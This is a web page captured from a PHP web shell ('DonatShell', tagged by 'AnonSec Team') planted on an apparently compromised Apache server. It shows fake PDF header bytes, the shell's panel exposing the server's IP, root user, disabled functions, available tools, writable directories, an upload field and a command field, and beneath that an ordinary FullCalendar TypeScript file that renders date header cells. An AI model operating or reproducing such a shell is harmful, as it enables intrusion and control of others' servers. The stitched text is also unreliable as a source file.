%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11585/cwd/html/ppaobm/vendor/bower-asset/fullcalendar/src/core/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11585/cwd/html/ppaobm/vendor/bower-asset/fullcalendar/src/core/common/table-utils.ts
import { rangeContainsMarker } from '../datelib/date-range'
import { htmlEscape } from '../util/html'
import { buildGotoAnchorHtml, getDayClasses } from '../component/date-rendering'
import { DateMarker, DAY_IDS } from '../datelib/marker'
import { DateProfile } from '../DateProfileGenerator'
import { ComponentContext } from '../component/Component'

// Computes a default column header formatting string if `colFormat` is not explicitly defined
export function computeFallbackHeaderFormat(datesRepDistinctDays: boolean, dayCnt: number) {
  // if more than one week row, or if there are a lot of columns with not much space,
  // put just the day numbers will be in each cell
  if (!datesRepDistinctDays || dayCnt > 10) {
    return { weekday: 'short' } // "Sat"
  } else if (dayCnt > 1) {
    return { weekday: 'short', month: 'numeric', day: 'numeric', omitCommas: true } // "Sat 11/12"
  } else {
    return { weekday: 'long' } // "Saturday"
  }
}

export function renderDateCell(
  dateMarker: DateMarker,
  dateProfile: DateProfile,
  datesRepDistinctDays,
  colCnt,
  colHeadFormat,
  context: ComponentContext,
  colspan?,
  otherAttrs?
): string {
  let { view, dateEnv, theme, options } = context
  let isDateValid = rangeContainsMarker(dateProfile.activeRange, dateMarker) // TODO: called too frequently. cache somehow.
  let classNames = [
    'fc-day-header',
    theme.getClass('widgetHeader')
  ]
  let innerHtml

  if (typeof options.columnHeaderHtml === 'function') {
    innerHtml = options.columnHeaderHtml(
      dateEnv.toDate(dateMarker)
    )
  } else if (typeof options.columnHeaderText === 'function') {
    innerHtml = htmlEscape(
      options.columnHeaderText(
        dateEnv.toDate(dateMarker)
      )
    )
  } else {
    innerHtml = htmlEscape(dateEnv.format(dateMarker, colHeadFormat))
  }

  // if only one row of days, the classNames on the header can represent the specific days beneath
  if (datesRepDistinctDays) {
    classNames = classNames.concat(
      // includes the day-of-week class
      // noThemeHighlight=true (don't highlight the header)
      getDayClasses(dateMarker, dateProfile, context, true)
    )
  } else {
    classNames.push('fc-' + DAY_IDS[dateMarker.getUTCDay()]) // only add the day-of-week class
  }

  return '' +
    '<th class="' + classNames.join(' ') + '"' +
      ((isDateValid && datesRepDistinctDays) ?
        ' data-date="' + dateEnv.formatIso(dateMarker, { omitTime: true }) + '"' :
        '') +
        (colspan > 1 ?
          ' colspan="' + colspan + '"' :
          '') +
        (otherAttrs ?
          ' ' + otherAttrs :
          '') +
      '>' +
      (isDateValid ?
        // don't make a link if the heading could represent multiple days, or if there's only one day (forceOff)
        buildGotoAnchorHtml(
          view,
          { date: dateMarker, forceOff: !datesRepDistinctDays || colCnt === 1 },
          innerHtml
        ) :
        // if not valid, display text, but no link
        innerHtml
      ) +
    '</th>'
}

Anon7 - 2022
AnonSec Team